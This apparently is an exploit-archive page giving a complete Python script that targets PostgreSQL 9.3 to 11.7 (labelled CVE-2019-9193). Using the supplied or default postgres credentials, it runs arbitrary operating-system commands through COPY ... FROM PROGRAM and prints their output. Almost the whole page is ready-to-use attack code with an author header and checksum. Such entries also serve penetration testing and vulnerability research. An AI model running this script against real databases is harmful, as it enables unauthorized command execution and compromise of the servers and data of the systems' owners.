PostgreSQL 11.7 Remote Code Execution

PostgreSQL versions 9.3 through 11.7 remote code execution exploit.


MD5 | 0c2f62ad6b6162a7439e7a5aab6f59cd

# Exploit Title: PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-03-29
# Exploit Author: b4keSn4ke
# Github: https://github.com/b4keSn4ke
# Vendor Homepage: https://www.postgresql.org/
# Software Link: https://www.postgresql.org/download/linux/debian/
# Version: 9.3 - 11.7
# Tested on: Linux x86-64 - Debian 4.19
# CVE: CVE-2019–9193

#!/usr/bin/python3

import psycopg2
import argparse
import hashlib
import time

def parseArgs():
parser = argparse.ArgumentParser(description='CVE-2019–9193 - PostgreSQL 9.3-11.7 Authenticated Remote Code Execution')
parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')
parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')
parser.add_argument('-d', '--database', nargs='?', default='template1', help='Name of the PostgreSQL DB [Default: template1]')
parser.add_argument('-c', '--command', nargs='?', help='System command to run')
parser.add_argument('-t', '--timeout', nargs='?', type=int, default=10, help='Connection timeout in seconds [Default: 10 (seconds)]')
parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to use to connect to the PostgreSQL DB [Default: postgres]')
parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to use to connect to the the PostgreSQL DB [Default: postgres]')
args = parser.parse_args()
return args

def main():
try:
print ("\r\n[+] Connecting to PostgreSQL Database on {0}:{1}".format(args.ip, args.port))
connection = psycopg2.connect (
database=args.database,
user=args.user,
password=args.password,
host=args.ip,
port=args.port,
connect_timeout=args.timeout
)
print ("[+] Connection to Database established")

print ("[+] Checking PostgreSQL version")
checkVersion(connection)

if(args.command):
exploit(connection)
else:
print ("[+] Add the argument -c [COMMAND] to execute a system command")

except psycopg2.OperationalError as e:
print ("\r\n[-] Connection to Database failed: \r\n{0}".format(e))
exit()

def checkVersion(connection):
cursor = connection.cursor()
cursor.execute("SELECT version()")
record = cursor.fetchall()
cursor.close()

result = deserialize(record)
version = float(result[(result.find("PostgreSQL")+11):(result.find("PostgreSQL")+11)+4])

if (version >= 9.3 and version <= 11.7):
print("[+] PostgreSQL {0} is likely vulnerable".format(version))

else:
print("[-] PostgreSQL {0} is not vulnerable".format(version))
exit()

def deserialize(record):
result = ""
for rec in record:
result += rec[0]+"\r\n"
return result

def randomizeTableName():
return ("_" + hashlib.md5(time.ctime().encode('utf-8')).hexdigest())

def exploit(connection):
cursor = connection.cursor()
tableName = randomizeTableName()
try:
print ("[+] Creating table {0}".format(tableName))
cursor.execute("DROP TABLE IF EXISTS {1};\
CREATE TABLE {1}(cmd_output text);\
COPY {1} FROM PROGRAM '{0}';\
SELECT * FROM {1};".format(args.command,tableName))

print ("[+] Command executed\r\n")

record = cursor.fetchall()
result = deserialize(record)

print(result)
print ("[+] Deleting table {0}\r\n".format(tableName))

cursor.execute("DROP TABLE {0};".format(tableName))
cursor.close()

except psycopg2.errors.ExternalRoutineException as e:
print ("[-] Command failed : {0}".format(e.pgerror))
print ("[+] Deleting table {0}\r\n".format(tableName))
cursor = connection.cursor()
cursor.execute("DROP TABLE {0};".format(tableName))
cursor.close()

finally:
exit()

if __name__ == "__main__":
args = parseArgs()
main()



Related Posts